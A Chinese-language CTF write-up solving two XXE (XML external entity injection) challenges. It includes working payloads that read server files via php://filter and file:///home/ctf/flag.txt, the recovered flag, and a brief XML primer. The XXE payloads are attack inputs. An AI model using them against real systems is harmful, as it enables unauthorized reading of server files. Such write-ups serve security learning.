1、观察后下载图片拖进WINHEX发现提示:flag in flag.php , 进入112.74.37.15:8080/flag.php 发现啥也没有 需要拿下php文件好好看看CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

2、根据题目hint 尝试登陆 账号密码统一admin 提示登陆成功  bp发现为xxe (XML外部实体注入)

CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

3、构造一下xxe 进行base64解密 得到flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]>
<user><username>&xxe;</username><password>admin</password></user>

CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

解密结果如下:

<?php
$flag="flag{19d5c4d4d138d850a773bae8bfc978f0}";
?>

CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

1、查看源代码:

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}

上bp发现这段代码也只是向后台发送数据包而已,回显的信息能看到是用python/2.7.6写的 其他没啥信息

CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

猜测XXE 将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]>
<tq>&xxe;</tq>

CTF中关于XXE(XML外部实体注入)题目两道-LMLPHP

附:

xml(extensible markup language)扩展标记语言。用来描述数据。xml中标记是自定义,它使用DTD或者schema来描述数据。

总结:xml用来组织,存储和发送信息的。

1、xml和html的区别:

xml 重点:描述和存放数据。

html 重点:如何把数据更好的现实在页面上。

2、xml的标记分类:

单标记<标记名称 />

双标记<标记名称>....</标记名称>

参考文章:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html

05-11 13:16